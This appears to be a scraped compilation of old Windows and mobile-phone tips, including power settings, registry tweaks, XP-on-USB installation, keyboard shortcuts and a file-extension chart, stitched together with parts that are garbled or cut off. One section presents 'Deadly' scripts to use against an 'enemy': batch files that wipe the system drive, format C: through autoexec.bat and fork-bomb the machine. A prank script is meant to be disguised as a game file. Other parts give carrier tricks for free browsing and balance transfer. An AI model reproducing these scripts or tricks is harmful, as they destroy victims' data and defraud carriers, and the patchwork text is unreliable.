Step 1: Click “Start” and select the “Control Panel” option. Redirected to the Control panel page, you need to select the “System and Maintenance” link to view the icon of “Power Options”. This runs the “Power Options Properties” applet.
Step 2: Click on “Select a power plan” tab, and under the “Preferred plans” section, select the option for “Change plan settings”.
Step 3: You are now redirected to the “Change settings for the plan” page. Now click on the “Change advanced power settings” option and under the “Advanced settings” tab, expand the button next to the “Sleep” tree followed by the expansion of the “Allow hybrid sleep” option. Select “Off” from the drop-down list as the value for both “On battery” and “Plugged in” options in your laptops. Click Ok and save the changes
With the launch of the new Core i7 (Nehalem) processors by Intel, there are many doubts regarding the Difference between Intel Core i7 and Intel Core 2 Duo and Core 2 Quad processors. In this post, I will try to list all the differences and also reasons why the new Core i7 architecture is much better than the Core 2 architecture. Intel Core i7
Friends now you can connect more than one phone (via bluetooth or data cable) with your pc using this simple trick
Even use your china mobile to access internet on pc via bluetooth
No need of any pc software for china phones
If you want to use ur china phone via data cable, u have to install its modem driver.
For Nokia phones u have to install nokia pc suit and connect to internet using pc suit at least one time for installing modem drivers.
• open Run type regedit.
• click OK.
• Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR
• you will see a DWORD Value named " Start " click over it and Modify it's value from 3 to 4.
• Now exit the Registery.
• Restart computer .
• ALL DONE !
now onwards when a pendrive is attached to the computer it will not be executed by the system.
• To Re-Enable the pendrive just modify the DWORD value again to 3.
Huge storage capabilities 1000 TeraBytes (1,000,000 GB) of storage. How is this possible?
You can access all of your files using web interface,ftp, or using our program as a local hard drive to access directly from "My Computer".
You can send files/folders to friends in just a few seconds using FaceBook or using their PetaNDrive account details.
Files are sent instantly, you can send TeraBytes of files in just a few clicks!
You can view video files online using the web interface with subtitle support (flash for mobile phone or divx/vlc for your pc) or using our virtual drive program.
You can use any download manager like flashget to download files from your account, or use our program to download and open/play the file at the same time!
For every file that you upload you will receive a special external link that you will be able to give to your friends to download.
You can use our online download manager (Leecher) to download files from other servers rapidly.
You can synchronize folders with friends. or use grab to download file/folders links directly to your account.
RSS is the abbreviation for Really Simple Syndication. Files created in RSS format are usually called feeds. The feeds are used to convert articles or article summaries, especially of news items, into a standard form. At its simplest, a feed is like a Web page that is readable by computers instead of humans since it does not contain any design or graphic details. Bloggers are largely responsible for making RSS feeds popular.
RSS makes it possible for you to subscribe Web sites content -- or the parts of a Web site -- and get all of the site's most recent stories automatically delivered to you. When you subscribe to an RSS feed, you make sure you get the most up-to-date information -- whether it's text, audio or video.
You need an RSS reader before you can subscribe to an RSS feed. The reader, also sometimes called a news reader, is what checks your subscriptions for the newest items. There are mainly two types of RSS readers. One are the Web browser-based readers, such as My Yahoo, Bloglines and Newsgator), that can be used to access your subscriptions from any computer with an Internet connection. The second are stand-alone programs that often resemble e-mail programs like Outlook and Thunderbird. See the links below for a few of the free and downloadable stand-alone RSS readers.
There are numerous RSS readers for all operating systems available for sale as well as free download on the Internet.
Create a Virtual Drive easily With this simple technique you can create a new Drive in ur PC (not actual drive..its only Virtual) and can associate an existing path with that newly created driveletter.
For eg: if your system already has 5 real drives (say..) with drive letters C: to G: , with this technique u can create a virtual drive H: (in fact u can choose any drive letter that is not used and reserved) and u can map the drive H: with your favourite songs Folder.Then a new drive H: will appear in the My Computer that when clicked put you in to your Favourite songs folder.Trust me..its way too easy.Here is how..!
For this to work you dont need any third party tools.You need only the Command Prompt or you can directly use the RUN window. The command used to accomplish this task is subst. Here is how to use it.
1)To Create a Virtual Drive
The command to create a drive is subst <driveletter:> <FolderPath>. Here driveletter: is the drive letter u want to assign to your new drive and FolderPath is the path you want to associate with your new virtual drive.
For Eg: subst L: g:\sony
will create a drive L: and associates the folder g:\sony with it. ------------------------------------------------------------------------------ ADMINRIGHTS-->GSTEK.info -------------------------------------------------------------------------------
Warning : Please Use ALL At Your Own Risk.Never Try On Your Own Pc
Let Your Enemy See Your Power
Now below i am posting some codes which are known as "Deadly"
All Scripts Here Are To Be Copied In NotePad
#1.This Will Delete All The Content Of A Drive
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
Save The Above Code As Anything.bat
#2.This Will Just Restart Your Pc
@echo off
shutdown -r -f -t 00
Save The Above Code As Anything.bat
#3.This Will Crash Ur Computer
.
Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
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Save It As Anything.vbs
It Only Works With Windows XP
#4.
echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* nul >>c:\autoexec.bat
echo copy c:\******s\command\forma.com c:\ >nul >>c:\autoexe.bat
echo copy c:\******s\command/deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltre /y c:\******s\*.* >nul >>c:\autoexec.bat
echoformat c:/q /u /autotest >nul >>c:\autoexe.bat
.
Save It As Anything.bat
No Idea About The After Effects OF This Virus
#5.The Most Simple Virus To Crush The Window
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@Echo off
Del C:\ *.* |y
.
Save It As Anything.bat
#6.This will crash ur computer
: loop
start cmd.exe
goto loop
.
Save As Anything.bat
THIS is a trick for WINDOWS os. to control PC via our voice.
STEPS:
1. install microsoft Office. (install full specification. of Office. )
2. go to microsoft word.
3. click tool menu and select sound.
4. then we can find out a small box on top of the desktop.
5. next step is configure your Bluetooth headphone and mic. and test your voice
if your Bluetooth microphone is configured correctly. then go to next step.
6. go to top of the desktop. and click button of sound menu.( also saw the step 4).
7. you done configuration.
let us start to control pc via our voice.
¤. say: DESKTOP . then u can see the desktop was activated.
¤. say: my computer (also we can see that my computer window was opened.).
®. try to say and control your pc via your voice.
There are quite a few services you can disable from starting automatically.
This would be to speed up your boot time and free resources.
They are only suggestions so I suggestion you read the description of each one when you run Services
and that you turn them off one at a time.
Some possibilities are:
Alerter
Application Management
Clipbook
Fast UserSwitching
Human Interface Devices
Indexing Service
Messenger
Net Logon
NetMeeting
QOS RSVP
Remote Desktop Help Session Manager
Remote Registry
Routing & Remote Access
SSDP Discovery Service
Universal Plug and Play Device Host
Web Client
Cleaning the Prefetch Directory
Windows XP has a new feature called Prefetch. This keeps a shortcut to recently used programs.
However it can fill up with old and obsolete programs.
To clean this periodically go to:
Star / Run / Prefetch
Press Ctrl-A to highlight all the shorcuts
Delete them
Clearing the Page File on Shutdown
Click on the Start button
Go to the Control Panel
Administrative Tools
Local Security Policy
Local Policies
Click on Security Options
Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"
Select "Enable"
Reboot
For regedit users.....
If you want to clear the page file on each shutdown:
Start Regedit
Go to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory ManagementClearPageFileAtShutdown
Set the value to 1
1. Open the Firefox "config" page: click into the Firefox address location bar, and type about:config, press Enter.
2. The "Config" file will appear in the Firefox browser as a page with hundreds of lines of code in it. Now, we start by enabling some advanced tabbed options:
3. Locate the line browser.tabs.showSingleWindowModePrefs . (tip: press "b" on your keyboard to quick scroll).
4. Double click on browser.tabs.showSingleWindowModePrefs . This will set its toggle to "true". Now your advanced and enhanced tabbing should be set.
Note: in Firefox version 1.5, the command line is singlewindow.openintabs.
5. Next: we will increase the "pipeline" RAM ability for Firefox to accomodate more packet transfer. In the same config document, scroll down to the line that says network.http.pipelining . Double click this line to set it to "true".
6. Lastly, we will increase the maximum pipeline requests to 100. Find the line that says network.http.pipelining.maxrequests. Double click on it, and a dialog box will pop up. Change the setting from 4 to 100.
7. No need to save this file. Simply close and restart Firefox, and you should see an immediate 10% to 40% increase in web page transfer speed, and faster opening of your tabbed windows! Enjoy!
You need boot code that would boot the computer up after POST (after finding your bootable media e.g floppy, HDD, CD) and the code would have to go into mbr = master boot record.
Now depending on whether you want to execute a file or code sitting on the device at a certain location you have to write the code accordingly.
e.g you want to execute your written program from a memory location (which is easier) then you have to define in mbr
JMP Segment:address
for example you've written your program onto a floppy drive on
4th sector
address 10
and the length is mby
100h bytes
hi friends i want to share a trick with which u will be able to make fun with cd drive with basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs part
set wmp = createObject("wmplayer.ocx.7")
set drives = wmp.cdromCollection
sub open_saysame()
on error resume next
do
if drives.count >= 1 then
for i = 0 to drives.count - 1
drives.item(i).eject()
next
end if
loop
end sub
open_saysame()
cool na and to close go to task manager and end the task named wscript &
you can also change its name to some interesting like gta 4.vbs . Try this in ur college
I am posting this topic after I checked for a solution to this problem and didn't find one in this forum. It was of great use to me. I hope it is useful to you. My requirement was to dual boot XP and VISTA as only XP could run old simulation softwares and VISTA was factory loaded and better. With this you can create an XP bootable CD which can be installed in an USB HDD. XP can not be normally installed in an USB HDD as it resets the USB drives while loading. This XP installation can be used to boot from only that computer where it was installed. This may prove to be helpful when you have a branded PC or Laptop with factory installed recovery and OS and dont want to mess with it. So here is how to do it:
Requirements:
•An existing Windows install for carrying out the steps in this tutorial
•A USB2-compliant Hard disk drive
•An untweaked Windows XP CD (tested against SP2)
•A registered version of WinISO (or any other software that allows direct editing of ISO files)
•The Microsoft CAB SDK http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe[nofollow]
•A CD-burning software that can handle ISO files.
How To:
Summary:
We will dump the contents of your original Windows XP CD , extract a few files from the Image using ISO modification software, edit the files, and put the modified versions back on the ISO. The resulting ISO image is burnt back onto a CD media, and can then directly be used to install Windows on your USB drive.
I am also covering a few pitfalls that happened to me, in hope they will save you a bit of time.
1) Does your computer support booting from USB?
Usually, if its an option in your BIOS boot sequence menu, the answer to this is yes. If its not there, look for BIOS updates. If you are not sure, proceed and see what happens ;-)
2) Sorting out the "Bootability" of your USB-Drive
Connect your USB drive to your computer, directly, without a Hub. Then, shut down your computer, disconnect any other hard disk drives from it, and insert your untweaked Windows XP CD into the drive. Start the installation, and proceed to the section where you are allowed to pick a hard drive. If it goes beyond the partition selection, your drive is already fine for booting Windows XP. If not, you may get an error like "Windows is unable to find your drive, partition, data etc bla".To solve it you need to "properly" format the drive. Reboot into your normal Windows,and format your HDD completely. I chose NTFS format. After this, my drives are recognized as valid installation devices by the Windows XP installer.
3) Dumping the original Windows CD into an ISO File
Pretty easy one. Simply open WinISO, and select Actions -> Make ISO from CDROM, and save your CD image.
4) Extracting the files we need to work on
After the CD dump is done, close and reopen WinISO. Then, open the ISO file you just created using File -> Open.
Now, click the I386 folder, and select the following files (Ctrl key to multi-select)
•TXTSETUP.SIF
•DOSNET.INF
•USB.IN_
•USBPORT.IN_
•USBSTOR.IN_
Select Actions -> Extract and put the resulting files into some folder to work on them.
5) Unpacking IN_ files
Use the Cab SDK (from the command line) for extracting the contents of the .IN_ files. Each of them contains exactly one .inf file. If you are unsure how to use the Cab SDK, here is an example command line: "cabarc x USBSTOR.IN_" . You should end up with three new files in the folder, called:
•usb.inf
•usbport.inf
•usbstor.inf
You can now delete the .IN_ files.
6) Editing the files
This is the main job. i ll also try to explain a bit whats happening. Use a simple Texteditor like Notepad.
6-A) TXTSETUP.SIF
This file is loaded on the initial install step by the Windows XP CD installer. In this file, we will change the way Windows treats USB devices during system setup -- the default is to only treat them as input devices during installation -- we will change this to include mass storage driver support (which needs to be loaded into the installer much earlier in order to work).
First, move the following entries from [InputDevicesSupport.Load] to the [BootBusExtenders.Load] section , as shown here
Next, we also have to write several keys into the registry. Convieniently, the txtsetup.sif allows you to specify files that are parsed and inserted into the registry at install time. Insert the following in the [HiveInfs.Fresh] section:
[HiveInfs.Fresh]
AddReg = hivedef.inf,AddReg
AddReg = hivesys.inf,AddReg
AddReg = hivesft.inf,AddReg
AddReg = hivecls.inf,AddReg
AddReg = hiveusd.inf,AddReg
AddReg = dmreg.inf,DM.AddReg AddReg = usbboot.inf,usbservices
and also in [SourceDisksFiles]
Finally, save and close TXTSETUP.SIF. We are done with it. 6-B) DOSNET.INF
Now, open DOSNET.INF , and change the second [Files] section to look like this:
You can use this method as often as you like when you need to repair something that had gotten corrupted and you don't want to do a clean install.
This is better than doing a windows repair install from the cd because doing that can cause changes to settings and even make it so you can't get updates anymore from microsoft update site because of the 'silent install' they did a year or so ago (unless you rereg some dll files).
1- Start WindowsXP
2- Go to the location of your source files
3- Run WINNT32 /unattend
For example, D:\I386\winnt32 /unattend ( copy & paste this command into the RUN box, then press ENTER ) Your computer will do the rest.
Ctrl + G ~~> Buzz (in Private Message Windows)
Ctrl + H ~~> Toggle between online friends and offline friends on your friends list.
Ctrl + D ~~> Signs you out of Yahoo
Ctrl + Q ~~> Closes Yahoo Messenger
Ctrl + M ~~> To send a PM
Ctrl + L ~~> Call a computer
Ctrl + K ~~> Call a phone number
Ctrl + T ~~> Send SMS
Ctrl + Y ~~> Send an email
Ctrl + Sift + F8 ~~> Shows your display image
Ctrl + Sift + P ~~> Opens Preferences
Ctrl + Sift + D ~~> Signs you into mobile device
Ctrl + Sift + A ~~> Add a Contact
Esc ~~> close pm, room
Rather than publish a series of synthetic benchmark results for the three operating systems (something which Microsoft frowns upon for beta builds, not to mention the fact that the final numbers only really matter for the release candidate and RTM builds), ZDnet’ve decided to put Windows 7, Vista and XP head-to-head in a series of real-world tests to find out which OS comes out top.
Let’s look at the test systems and the tests …
The test systems
I’ve used two desktop systems as the test machines:
* An AMD Phenom 9700 2.4GHz system fitted with an ATI Radeon 3850 and 4GB of RAM
* An Intel Pentium Dual Core E2200 2.2GHz fitted with an NVIDIA GeForce 8400 GS and 1GB of RAM
The tests
There are 31 tests in all, most of which are self explanatory:
1. Install OS - Time it takes to install the OS
2. Boot up - Average boot time to usable desktop
3. Shut down - Average shut down time
4. Move 100MB files - Move 100MB of JPEG files from one hard drive to another
5. Move 2.5GB files - Move 2.5GB of mixed size files (ranging from 1MB to 100MB) from one hard drive to another
6. Network transfer 100MB files - Move 100MB of JPEG files from test machine to NAS device
7. Network transfer 2.5GB files - Move 2.5GB of mixed size files (ranging from 1MB to 100MB) from test machine to NAS device
8. Move 100MB files under load - Move 100MB of JPEG files from one hard drive to another while ripping DVD to .ISO file
9. Move 2.5GB files under load - Move 2.5GB of mixed size files (ranging from 1MB to 100MB) from one hard drive to another while ripping DVD to .ISO file
10. Network transfer 100MB files under load - Move 100MB of JPEG files from test machine to NAS device while ripping DVD to .ISO file
11. Network transfer 2.5GB files under load - Move 2.5GB of mixed size files (ranging from 1MB to 100MB) from test machine to NAS device while ripping DVD to .ISO file
12. Compress 100MB files - Using built-in ZIP compression
13. Compress 1GB files - Using built-in ZIP compression
14. Extract 100MB files - Using built-in ZIP compression
15. Extract 1GB files - Using built-in ZIP compression
16. Compress 100MB files under load - Using built-in ZIP compression while ripping DVD to .ISO file
17. Compress 1GB files under load - Using built-in ZIP compression while ripping DVD to .ISO file
18. Extract 100MB files under load - Using built-in ZIP compression while ripping DVD to .ISO file
19. Extract 1GB files under load - Using built-in ZIP compression while ripping DVD to .ISO file
20. Install Office 2007 - Ultimate version, from DVD
21. Open 10 page Word doc - Text only
22. Open 100 page Word doc - Text and images only
23. Open simple Excel doc - Basic formatting
24. Open complex Excel doc - Including formula and charts
25. Burn DVD - Win 7 beta 1 .ISO to disc using CDBurnerXP
26. Open 10 page PDF - Text only, using latest Adobe Reader 8
27. Open 100 page PDF - Text and images, using latest Adobe Reader 8
28. Far Cry 2 benchmark
29. Call of Duty 5 benchmark
30. Left 4 Dead benchmark
31. Crysis Warhead benchmark
Keyboard vs. Mouse - Today's Winner:The Keyboard (poor little mouse!)[/SIZE]
Windows XP Home and Professional (Some work on other versions of Windows too!)
The Windows key brings up the Start menu, but it also does quite a lot more too!:
Winkey-D press it to view your desktop, press it again to go back to where you were :-)
Winkey-Mminimizes all windows.
Winkey-Eopens the Windows Explorer.
Winkey-Llocks your system until you enter your password—or lets you switch active users (if you have Fast User Switching enabled).
Winkey-R brings up the Run dialog. Winkey Pause/Break key- brings up the System Properties dialog. Winkey-U opens the Windows Utility Manager, (accessibility program options).
Winkey-S, in Microsoft Word 2002 or later, invokes Windows' text-to-speech engine, which will read either highlighted text or everything from the cursor on. (It's very annoying too.)
The Stored User Names and Passwords applet lets you assign user names and passwords to use when needing to authenticate yourself to services in domains other than the one you are currently logged into. The normal way of running this applet can be difficult to find quickly, so here is a way to launch it using a desktop shortcut using the rundll32.exe program:
Click on START - RUN and type the following (follwed by ENTER):
NEW TRICK FOR TRANSFER YOUR SPECIAL BALANCE TO MAIN BALANCE.ALL KNOWS DOCOMO IS GIVING SMALL VOUCHER WITH FULL TALKTIME BUT BAD THING IS THE VALIDITY IS 2 OR 3 OR 7 DAYS OR 15 DAYS ACCORDINFG TO CIRCLE. BUT DONOT TAKE TENSION A NEW TRCIK IS INVENTED BY ME TO TRANSFER THE SPECIAL BALANCE TO MAIN. BUT YOU HAVE TO DIAL THE NUMBER *595#. IN ONCE 1 RUPEES WILL BE TRANSFERED. YOU WILL GOT THE MESSAGE "THANK YOU FOR DOWNLOADING MCARBON. YOU HAVE BEEN CHARGED RE1/- "BUT NO BALANCE WILL DEDUCT. JUST CHECK YOUR BALANE BY DIALING*111#. YOU WILL SEE RS 1 IS DEDUCTED FROM SPECIAL BALANCE AND RS 1 IS CREDITED IN MAIN BALANCE.
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Dear friends I found a new handler trick 4 airtel 100%working with operamini handler.Am getting 200 to 350 kbps speed in 3G network .it is working 100% for me and my friends here in mangalore.so that am posting this trick directly in main section i recommend to .use this at 0 balance.but u can browse at higher balance also but wen u download money may deduct the trick is here download any handler opera and put dis in primary and socket server then install with mobile office settings. http://0.facebook.com.cinipac.net.server4.operamini.com:80/
socket://0.facebook.com.cinipac.net.server4.operamini.com:1080
u can also use dis proxy in default browser also withhttp://0.facebook.com.cinipac.net
it may b work in pc also anybody check it in pc and reply here.
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Now you done just save and use idea fresh setting.
Same you can use other handler software.
Note-Use idea fresh setting.
2-balance below 1 rs
MANUAL SETTINGS: #Account Name - idea_fresh
#Username - <Blank>
#Password - <Blank>
#Homepage -http://wap.ideafresh.com[nofollow]
#Proxy and Server Port - 8080
#Proxy and Server adress - 10.4.42.15
#Databearer - GPRS / Packetdata
#Acces Point Name - imis
#Proxy - Enabled/yes
#Authentication Type - Normal
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Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:
Windows key + R = Run menu
This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer
ALT + Tab = Switch between windows
ALT, Space, X = Maximize window
CTRL + Shift + Esc = Task Manager
Windows key + Break = System properties
Windows key + F = Search
Windows key + D = Hide/Display all windows
CTRL + C = copy
CTRL + X = cut
CTRL + V = paste
Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.
Keyboard Shortcuts
[Alt] and [Esc] Switch between running applications
[Alt] and letter Select menu item by underlined letter
[Ctrl] and [Esc] Open Program Menu
[Ctrl] and [F4] Close active document or group windows (does not work with some applications)
[Alt] and [F4] Quit active application or close current window
[Alt] and [-] Open Control menu for active document
Ctrl] Lft., Rt. arrow Move cursor forward or back one word
Ctrl] Up, Down arrow Move cursor forward or back one paragraph
[F1] Open Help for active application
Windows+M Minimize all open windows
Shift+Windows+M Undo minimize all open windows
Windows+F1 Open Windows Help
Windows+Tab Cycle through the Taskbar buttons
Windows+Break Open the System Properties dialog box
acessability shortcuts
Right SHIFT for eight seconds........ Switch FilterKeys on and off.
Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.
Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.
SHIFT....... five times Switch StickyKeys on and off.
NUM LOCK...... for five seconds Switch ToggleKeys on and off.
explorer shortcuts
END....... Display the bottom of the active window.
HOME....... Display the top of the active window.
NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.
NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.
NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.
LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.
RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.
This chart is a list of the most commonly found extensions, what type of file they are and what program if any they are associated with.
.$$$ Temporary file .$$A OS/2 program file .$$F OS/2 database file .$$S OS/2 spreadsheet file .$D$ OS/2 planner file .$DB DBASE IV temporary file .$ED Microsoft C temporary editor file. .$VM Microsoft Windows temporary file for virtual managers. ._DD Norton disk doctor recovery file. ._DM Nuts n Bolts disk minder recovery file. .--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above. .075 Ventura Publisher 75x75 dpi screen characters .085 Ventura Publisher 85x85 dpi screen characters .091 Ventura Publisher 91x91 dpi screen characters .096 Ventura Publisher 96x96 dpi screen characters .0B Pagemaker printer font LineDraw enhanced characters. .1ST File used by some software manufacturers to represent a file that should be read first before starting the program. .2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers. .386 Virtual machine support files for the 386 enhanced mode. .3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers. .4SW 4DOS Swap file
A
.A3W MacroMedia Authorware 3.5 file
.ABK Autobackup file used with Corel Draw 6 and above.
.ABR Brush file for Adobe Photoshop
.ACT Adobe Photoshop Color table file.
.AD After Dark file.
.ADF Adapter description files.
.ADM After Dark screen saver module.
.ADR After Dark randomizer
.AI Adobe Illustrator file.
.AIF Auto Interchange File Format (AIFF) Audio file.
.ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.
.ANS ANSI text file.
.ARJ Compressed file can be used with Winzip / Pkzip.
.ASC ASCII Text file
.ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and can be open with software such as Windows Media Player.
.ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.
.AVI Windows Movie file.
B
.BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.
.BAS QBasic program and or Visual Basic Module.
.BAT Batch file that can perform tasks for you in dos, like a macro.
.BFC Microsoft Windows 95 / Windows 98 Briefcase file.
.BG Backgammon game file.
.BIN Translation tables for code pages other than the standard 437.
.BK2 Word Perfect for Windows Backup file
.BK3 Word Perfect for Windows Backup file
.BK4 Word Perfect for Windows Backup file
.BK5 Word Perfect for Windows Backup file
.BK6 Word Perfect for Windows Backup file
.BK7 Word Perfect for Windows Backup file
.BK8 Word Perfect for Windows Backup file
.BK9 Word Perfect for Windows Backup file
.BMP Graphical Bit Mapped File used in Windows Paintbrush.
.BNK Sim City Backup
.BPS Microsoft Works Word Processor File.
.BPT Corel Draw Bitmap master file
.BV1 Word Perfect for Windows Backup file
.BV2 Word Perfect for Windows Backup file
.BV3 Word Perfect for Windows Backup file
.BV4 Word Perfect for Windows Backup file
.BV5 Word Perfect for Windows Backup file
.BV6 Word Perfect for Windows Backup file
.BV7 Word Perfect for Windows Backup file
.BV8 Word Perfect for Windows Backup file
.BV9 Word Perfect for Windows Backup file
.BWP BatteryWatch pro file.
C
.C C file used with the C programming language.
.CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Information about how to extract a .CAB file can be found on document CH000363.
.CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.
.CBL COBOL Program File
.CBT Computer Based Training files.
.CDA CD Audio Player Track.
.CDR Corel Draw Vector file.
.CFB Comptons Multimedia file
.CFG Configuration file
.CFL Corel flowchart file
.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form
.CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because the information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files, providing you are currently not missing any information. Additional information about scandisk can be found on our scandisk page.
.CL Generic LISP source code.
.CL3 Easy CD Creator layout file.
.CL4 Easy CD Creator layout file.
.CLA Java Class file.
.CLG Disk catalog database
.CLK Corel R.A.V.E. animation file.
.CLL Crick software clicker file
.CLO Cloe image
.CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script
.CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition
.CLS Visual Basic Class module / C++ Class definition
.CMD Windows Script File also OS/2 command file.
.CMV Corel Movie file.
.CNT Help file (.hlp) Contents (and other file contents)
.CPL Windows 95 / Windows 98 / Windows NT control panel icons.
.CNE Configuration file that builds .COM files.
.CNF Configuration file.
.COB COBOL source code file.
.COD FORTRAN Compiler program code
.COM File that can be executed.
.CPE Fax cover page file
.CPI Code Page Information or Microsoft Windows applet control panel file
.CPP C++ source code file.
.CRD Windows Card file.
.CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow
.CUR Windows Mouse Cursor.
.CVS Canvas drawing file
.CXX C++ program file or Zortech C++ file.
D.DAT Data file, generally associated or extra data
for a program to use..DB Paradox database file / Progress database file.DB2 dBase II file.DBC Microsoft Visiual Foxpro database container.DBF dBase II,III,III+,IV / LotusWorks database..DBK dBase databse backup / Orcad schematic
capture backup file.DBM Cold Fusion template.DBO dBase IV compiled program file.DBQ Paradox memo.DBT dBase database text file.DBV Flexfile memo field file.DBW DataBoss database file.DBX Database file / DataBeam Image / MS Visual
Foxpro Table.DEV Device Driver.DIF Document Interchange Format; VisiCalc.DLL Dynamic Link Library; Allow executable code
modules to be loaded on demand, linked at run time, and unloaded when not
needed. Windows uses these files to support foreign languages and
international/nonstandard keyboards..DMO Demo file.DMP Dump file.DMD Visual dBASE data module.DMF Delusion/XTracker Digital Music File.DMO Demo file.DMP Dump file.DMS Compressed archive file.DOC Microsoft Word Windows/DOS / LotusWorks word
processor Windows/DOS /PF S:First Choice Windows/DOS DOT MS Word Windows/DOS..DOS Text file and DOS Specification Info.DOT Microsoft Word Template (Macro)..DRV Device driver files that attach the hardware
to Windows. The different drivers are system, keyboard, pointing devices,
sound, printer/ plotter, network, communications adapter..DRW Micrografx draw/graph files..DT_ Macintosh Data File Fork.DTA Data file.DTD SGML Document definition file.DTF Q&A database.DTM DigiRekker module.DTP SecurDesk! Desktop / Timeworks Publisher Text
Document / Pressworks Template file.DUN Dialup Networking exported file..DX Document Imaging file / Digital data exchange
file.DXB Drawing interchange binary file.DXF Autocad drawing interchange format file.DXN Fujitsu dexNet fax document.DXR Macromedia director projected movie file.DYN Lotus 1-2-3 file.DWG AutoCad Drawing DatabaseE.EEB Button bar for Equation Editor in Word
Perfect for Windows.EFT CHIWRITER high resolution screen characters.EGA EGA screen characters for Ventura Publisher.ELG Event List text file used with Prosa.EMS Enhanced Menu System configuration file for
PC Tools.EMU IRMA Workstation for Windows emulation.ENC ADW Knowledge Ware Encyclopedia.END Corel Draw Arrow Definition file.ENG Sprint dictionary file engine.ENV Word Perfect for Windows environment file..EPG Exported PaGe file used with DynaVox.EPS Encapsulated Postscript, with embedded TIFF
preview images..EQN Word Perfect for Windows Equation file.ERD Entity Relation Diagram graphic file.ERM Entity Relation Diagram model file.ERR Error log file.ESH Extended Shell Batch file.EVT Event file scheduler file for PC Tools.EX3 Device driver for Harvard graphics 3.0.EXC QEMM exclude file from optimization file or
Rexx program file.EXE Executable file..EXT Extension file for Norton CommanderF.FDF Adobe Acrobat Forms Document..FF AGFA CompuGraphics outline font description..FFA Microsoft Fast Find file..FFF GUS PnP bank / defFax fax document.FFL Microsoft Fast Find file / PrintMaster Gold
form file.FFO Microsoft Fast Find file.FFT DCA/FFT final form text.FFX Microsoft Fast Find file.FON Font files to support display and output
devices..FR3 dBase IV renamed dBase III+ form.FRF FontMonger Font.FRG dBase IV uncompiled report.FRK Compressed zip file used with Apple Macinotsh
computers..FRM Form file used with various programs /
Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file / Oracle
executable form / Word Perfect Merge form / DataCAD symbol report file.FRO dBase IV compiled report / FormFlow file.FRP PerForm Pro Plus Form.FRS WordPerfect graphics driver.FRT FoxPro report file.FRX Microsoft Visual basic binary form file /
FoxPro report file.FRZ FormFlow fileG.GIF CompuServe Graphics Interchange Format..GR2 286 grabbers that specify which font to use
with DOS and Windows..GR3 386 grabbers that specify which font to use
with DOS and Windows..GRA Microsoft Flight simulator graphics file.GRB Microsoft MS-DOS shell monitor.GRF Micrografx draw/graph files..GRP Microsoft Program Group..GZ Compressed Archive file for GZipH.HBK Mathcad handbook file.HDL Procomm Plus alternate download file listing.HDR Procomm Plus message header.HDX Help index.HEX Hex dump.HFI GEM HP font info.HGL HP graphics language graphic.HH C++ Header.HHH Precompiled Header for Power C.HHP Help data for Procomm Plus.HLP Files that contain the Help feature used in
windows, cannot be read from DOS..HQX Apple Macintosh Binhex text conversion file..HSQ Data files associated with the Qaz Trojan..HSS Photoshop Hue/Saturation information..HST History file / Procomm Plus History File /
Host file..HTA Hypertext Application (run applications from
HTML document)..HTM Web page files containing HTML or other
information found on the Internet.
I
.ICA Citrix file / IOCA graphics file
.ICB Targa Bitmap
.ICC Kodak printer image
.ICE Archive file
.ICL Icon library file
.ICM Image Color Matching profile file
.ICN Microsoft Windows Icon Manager.
.ICO Microsoft Windows Icondraw / Icon.
.ID Disk identification file.
.IDB Microsoft developer intermediate file, used with Microsoft Visual Studio
.IDD MIDI instruments definition
.IDE Integrated Development Environment configuration file
.IDF MIDI instruments drivers file
.IDQ Internet data query file
.IDX Index file
.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.
.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic
.INF Information file that contains customization options.
.INI Files that initialize Windows and Windows apps.
.IPF Installer Script File / OS/2 online documentation for Microsoft source files.
